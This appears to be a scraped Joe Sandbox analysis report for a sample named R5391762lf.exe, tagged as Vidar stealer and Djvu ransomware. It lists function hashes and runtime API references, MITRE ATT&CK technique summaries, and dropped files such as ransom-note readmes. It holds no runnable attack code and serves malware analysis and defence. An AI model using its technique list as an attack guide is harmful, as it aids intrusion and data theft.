Instruction Fuzzy Hash: 48113AB6A106507AD27166B45C16EFF3BDC9F46702F0410A9FBDCE1180DA289A05D3B2

Uniqueness

Uniqueness Score: -1.00%

Function 05ED1960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05ED19C6
__CxxThrowException@8.LIBCMT ref: 05ED19F1
__CxxThrowException@8.LIBCMT ref: 05ED1A1A
__CxxThrowException@8.LIBCMT ref: 05ED1A4B
_memset.LIBCMT ref: 05ED1A6A
__CxxThrowException@8.LIBCMT ref: 05ED1A90
_malloc.LIBCMT ref: 05ED1AA0
_memset.LIBCMT ref: 05ED1AAB
_sprintf.LIBCMT ref: 05ED1ACE

Memory Dump Source

Source File: 00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ec0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: d26d2bdb27e19ccd0e7e80d4f4a6fe2bf93adbb21fd12445e4395fdc8fa9786c
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: 01515C71E40219EBEB10DBA5DD8AFEFBBB8FB04744F101025FA45B6180EB745A05CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 05ECF210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05ECF284
__CxxThrowException@8.LIBCMT ref: 05ECF2AF
__CxxThrowException@8.LIBCMT ref: 05ECF2DE
__CxxThrowException@8.LIBCMT ref: 05ECF30F
_memset.LIBCMT ref: 05ECF32E
__CxxThrowException@8.LIBCMT ref: 05ECF354
_sprintf.LIBCMT ref: 05ECF373

Memory Dump Source

Source File: 00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ec0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 5a5086aadcae2ccba16de951add382d4003777c02de77e7eeaf6709bfbc18980
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: DB519FB1E40209FAEF10DFA5DD46FEEBB79BB04704F101069F951B6180E7B4AA05CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 05ECF440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05ECF4B7
__CxxThrowException@8.LIBCMT ref: 05ECF4E2
__CxxThrowException@8.LIBCMT ref: 05ECF504
__CxxThrowException@8.LIBCMT ref: 05ECF535
_memset.LIBCMT ref: 05ECF554
__CxxThrowException@8.LIBCMT ref: 05ECF57A
_sprintf.LIBCMT ref: 05ECF594

Memory Dump Source

Source File: 00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ec0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 701ae632683bbd6846c400d11eec37809b442094d0c035bb985289d012b2ffec
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: F651A271E40209AADF11DFA1DD85FFEBBB9FB04704F101069FA55B6180EA74A9068BA4

Uniqueness

Uniqueness Score: -1.00%

Function 05F0208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 05F020C6
__invoke_watson.LIBCMT ref: 05F02120
_strlen.LIBCMT ref: 05F020D4

Part of subcall function 05EE5BA8: __getptd_noexit.LIBCMT ref: 05EE5BA8

_strnlen.LIBCMT ref: 05F0215F
__lock.LIBCMT ref: 05F02170
__getenv_helper_nolock.LIBCMT ref: 05F0217B

Memory Dump Source

Source File: 00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ec0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: eacdb5f5a4bcf702249912adc30311eb32a917761820bdd976c7dd25f43d3c87
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: 2E312736F14321ABEF216B64DC0CB6F7795AF05B24F186015E955EB2C0DB7C8500A3B1

Uniqueness

Uniqueness Score: -1.00%

Function 05F866D9 Relevance: 9.1, APIs: 6, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 05F866DD

Part of subcall function 05EE59BF: __calloc_crt.LIBCMT ref: 05EE59E2
Part of subcall function 05EE59BF: __initptd.LIBCMT ref: 05EE5A04

__calloc_crt.LIBCMT ref: 05F86700
__get_sys_err_msg.LIBCMT ref: 05F8671E
__invoke_watson.LIBCMT ref: 05F8673B
__get_sys_err_msg.LIBCMT ref: 05F8676D
__invoke_watson.LIBCMT ref: 05F8678B

Memory Dump Source

Source File: 00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ec0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: __calloc_crt__get_sys_err_msg__invoke_watson$__getptd_noexit__initptd
String ID:
API String ID: 4066021419-0
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: c7cd360e2e47f7a7b21907b7ec85b7cf24e0266824cac947aa2f289e02d609fa
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 4F11C432B00A156BFB2276259C08FBE738DEF10664F000826FE48EB240EB29DD0042D4

Uniqueness

Uniqueness Score: -1.00%

Function 05ED2670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05ED26DB
_memset.LIBCMT ref: 05ED2A30
_memset.LIBCMT ref: 05ED2AC0

Strings

D, xrefs: 05ED2AC8

Memory Dump Source

Source File: 00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ec0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 71f43c6ab99c021e9a4119ab7cbf775369564dbb606f2ddecb9c5dd904b2cc99
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 71E18D75D00219ABDF24DFA0CD49FEEB7B9BF04304F0450A9E649A6190EB746A46CF64

Uniqueness

Uniqueness Score: -1.00%

Function 05ECD8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05ECD8EA

Strings

(, xrefs: 05ECDAE9
$, xrefs: 05ECDAE2
, xrefs: 05ECDADB

Memory Dump Source

Source File: 00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ec0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 19c36b2ad3a068e38291d2e1ad7d113d900305d71ebfeb176c59942093f7fd9e
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 1F91D171D00258ABEF20CFA0CE49BEEBBB5BF05304F1451A8D595772C0DBB29A49CB65

Uniqueness

Uniqueness Score: -1.00%

Function 05EE5CE1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 05EE5CF4

Strings

U, xrefs: 05EE5CFD

Memory Dump Source

Source File: 00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ec0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction ID: b4a084bbeb7f04030727ba987acdbdaef357ff5a187880e4a0c4b9c0e1359e95
Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction Fuzzy Hash: 7E212B723282087AFB00DBA4AC49FBF33ADEB45258F501166F989C7190FB70ED408694

Uniqueness

Uniqueness Score: -1.00%

Function 05EDA810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05EDA858
_memset.LIBCMT ref: 05EDA869
_memset.LIBCMT ref: 05EDA87A

Strings

p2Q, xrefs: 05EDA882

Memory Dump Source

Source File: 00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ec0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 47514738783505d0f518ac31ea09280273d4365f5bd5ded5d8aa98ed58894403
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: F0F0ED78698755A5F7217750BC2AB857E917B31B08F105088E1582E2E1D3FD238CA79A

Uniqueness

Uniqueness Score: -1.00%

Function 05F0FBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 05F0FBF1

Part of subcall function 05EF169C: std::exception::_Copy_str.LIBCMT ref: 05EF16B5

__CxxThrowException@8.LIBCMT ref: 05F0FC06

Strings

TeM, xrefs: 05F0FBE7, 05F0FBFB
TeM, xrefs: 05F0FBFE

Memory Dump Source

Source File: 00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ec0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: 0de5b91e5397817dca06b84aab6fdce8ae0689553fa0ff767fd29394a1932b12
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: E7D06775D0024CBBCB04EFA5E459CDDBBB8AA04344B408466AA5497241EA74A749CB95

Uniqueness

Uniqueness Score: -1.00%

Function 05ECD0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 05EE197D: __wfsopen.LIBCMT ref: 05EE1988

_fgetws.LIBCMT ref: 05ECD15C

Memory Dump Source

Source File: 00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ec0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 782e479764e904271bf1eb414a1bbd35a72b94ff09192c4b18bc843820903d9a
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 0191C171D00359ABDF20DF98CE44BAEBBB5BF04204F14257DE896A3240E776EA05CB95

Uniqueness

Uniqueness Score: -1.00%

Function 05ECD540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 05ECD77E
_malloc.LIBCMT ref: 05ECD7B2
_malloc.LIBCMT ref: 05ECD7C1
_fprintf.LIBCMT ref: 05ECD815

Memory Dump Source

Source File: 00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ec0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: 76838f3621bf0c751238f137e146eb9041d526eee5717f23b5b18fa1c8086f2b
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: 6DA19CB1D00288EBEF11EFE4CD49BDEBF75AF10304F141068D5457A281D7BA9A49CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 05EE2AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 05EE2B2E
__read_nolock.LIBCMT ref: 05EE2BFE
__filbuf.LIBCMT ref: 05EE2C21
_memset.LIBCMT ref: 05EE2C65

Part of subcall function 05EE5BA8: __getptd_noexit.LIBCMT ref: 05EE5BA8

Memory Dump Source

Source File: 00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ec0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: 3c3958e680881e93a5d09ce0ea77545dfa561c3ea027910502ec227f6d23a652
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: 8C51B838B24705DBEB24CF69C8845AE77BEBF40324F149729EAB5962D0D7719950CB40

Uniqueness

Uniqueness Score: -1.00%

Function 05F01359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 05F0137D

Part of subcall function 05F01A9D: __fltout2.LIBCMT ref: 05F01AC6

__cftog_l.LIBCMT ref: 05F013A3
__cftoe_l.LIBCMT ref: 05F013D5

Memory Dump Source

Source File: 00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ec0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: b120fccdcb6bdabb0084bcb01010e062a2171a0cc1dcbcf0ded0f8d7dbba2e98
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: 4601487288414EBBCF125F84DC05CEE3F66BB19350B48A515FA59998B0D33AC5B2FB81

Uniqueness

Uniqueness Score: -1.00%

Function 05F87A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 05F87A4B

Part of subcall function 05F88140: ___BuildCatchObjectHelper.LIBCMT ref: 05F88172
Part of subcall function 05F88140: ___AdjustPointer.LIBCMT ref: 05F88189

_UnwindNestedFrames.LIBCMT ref: 05F87A62
___FrameUnwindToState.LIBCMT ref: 05F87A74
CallCatchBlock.LIBCMT ref: 05F87A98

Memory Dump Source

Source File: 00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ec0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: 51193c7121a3e45a5e822608f1e8861abaaacaa4b7d354672c8401e43708d0ba
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 7C011732500109BBCF12BF55CC04EEA7BBAFF48754F248014FD1866120C73AE9A1DBA0

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report R5391762lf.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Threatname: Djvu

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\$WinREAgent\Scratch\_README.txt

C:\$WinREAgent\_README.txt

C:\ProgramData\AFBAKKFCBFHIIEBGIDBGIDHIEH

C:\ProgramData\CAKKJKKECFIDGDHIJEGD

C:\ProgramData\IIJEBFCF

C:\SystemID\PersonalID.txt

C:\Users\user\.curlrc

C:\Users\user\.curlrc.bgjs (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

Windows Analysis Report
R5391762lf.exe

